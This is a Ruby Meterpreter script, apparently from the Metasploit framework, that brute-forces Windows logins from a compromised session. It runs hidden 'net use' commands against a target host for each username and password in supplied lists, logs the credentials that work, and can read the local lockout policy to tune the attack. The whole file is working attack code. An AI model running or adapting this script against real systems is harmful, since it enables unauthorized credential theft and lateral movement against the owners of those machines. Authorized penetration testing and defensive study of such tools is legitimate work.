# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@@exec_opts = Rex::Parser::Arguments.new(
	"-h"  => [ false,  "\tHelp menu."],
	"-t"  => [ true,  "\tTarget IP Address"],
	"-p"  => [ true,  "\tPassword List"],
	"-cp" => [ false,  "\tCheck Local Machine Password Policy"],
	"-L"  => [ true,  "\tUsername List to be brute forced"],
	"-l"  => [ true,  "\tLogin name to be brute forced"]
)
# Variables for Options
user = []
ulopt = nil
userlist = nil
passlist = nil
target = nil
helpcall = 0

# The 'client' object holds the Meterpreter session
# Aliasing here for plugin compatibility
session = client

################## Function Definition ##################
# Function for checking the password policy of current system.
# This policy may resemble the policy of other servers in the
#target enviroment.
def chkpolicy(session)
	print_status("Checking password policy...")
	output = []
	begin
		r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true})
		while(d = r.channel.read)
			output << d
		end
		r.channel.close
		r.close
		# Parsing output of net accounts
		lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/)
		minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/)
		failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/)
		lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/)
		# check for account lockout
		if lockout.empty?
			print_status "\tNo account lockout threshold configured"
		else
			print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked"
			print_status "\tThe account will be locked out for #{lcktime}"
		end
		# check for password lenght
		if minpass.to_s == "0"
			print_status "\tNo minimun password lenght is configured"
		else
			print_status "\tThe minumun password lengh configured is #{minpass}"
			print_status "\tyour dictionary should start with passwords of #{minpass} length"
		end
	rescue ::Exception => e
		print_status("The following Error was encountered: #{e.class} #{e}")
	end
end
#--------------------------------------------------------

# Function for brute forcing passwords using windows native tools
def passbf(session,passlist,target,user,opt,logfile)
	print_status("Running Brute force attack against #{user}")
	print_status("Successfull Username and Password pairs are being saved in #{logfile}")
	result = []
	output = []
	passfnd = 0
	a = []
	i = 0
	if opt == 1
		if not ::File.exists?(user)
			raise "Usernames List File does not exists!"
		else
			user = ::File.open(user, "r")
		end
	end
	# Go thru each user
	user.each do |u|
		# Go thru each line in the password file
		while passfnd < 1
			::File.open(passlist, "r").each_line do |line|
				begin
					print_status("Trying #{u.chomp} #{line.chomp}")

					# Command for testing local login credentials
					r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true})
					while(d = r.channel.read)
						output << d
					end
					r.channel.close
					r.close

					# Checks if password is found
					result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/)
					if result.length == 1
						print_status("\tUser: #{u.chomp} pass: #{line.chomp} found")
						file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}")
						r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true})
						while(d = r.channel.read)
							output << d
						end
						output.clear
						r.channel.close
						r.close
						passfnd = 1
						break
					end
				rescue ::Exception => e
					print_status("The following Error was encountered: #{e.class} #{e}")
				end

			end
			passfnd = 1
		end
		passfnd = 0
	end
end

#--------------------------------------------------------
# Function for creating log file
def logme(target)

	# Create Filename info to be appended to  files
	filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

	# Create a directory for the logs
	logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf')

	# Create the log directory
	::FileUtils.mkdir_p(logs)

	#logfile name
	dest = logs + "/" + target + filenameinfo

	dest
end
#--------------------------------------------------------
#
##check for proper Meterpreter Platform
def unsupported
	print_error("This version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end
unsupported if client.platform !~ /win32|win64/i

################## MAIN ##################

# Parsing of Options
@@exec_opts.parse(args) { |opt, idx, val|
	case opt
	when "-l"
		user << val
		ulopt = 0
	when "-L"
		userlist = val
		ulopt = 1

	when "-cp"
		chkpolicy(session)
		exit
	when "-p"

		passlist = val
		if not ::File.exists?(passlist)
			raise "Password File does not exists!"
		end
	when "-t"
		target = val
	when "-h"
		print("Windows Login Brute Force Meterpreter Script\n" +
			"Usage:\n" +
			@@exec_opts.usage)
		helpcall = 1
	end

}

# Execution of options selected
if user.length > 0 && passlist != nil && target != nil

	passbf(session,passlist,target,user,ulopt,logme(target))

elsif userlist != nil && passlist != nil && target != nil

	passbf(session,passlist,target,userlist,ulopt,logme(target))

elsif helpcall == 0
	print("Windows Login Brute Force Meterpreter Script\n" +
		"Usage:\n" +
		@@exec_opts.usage)

end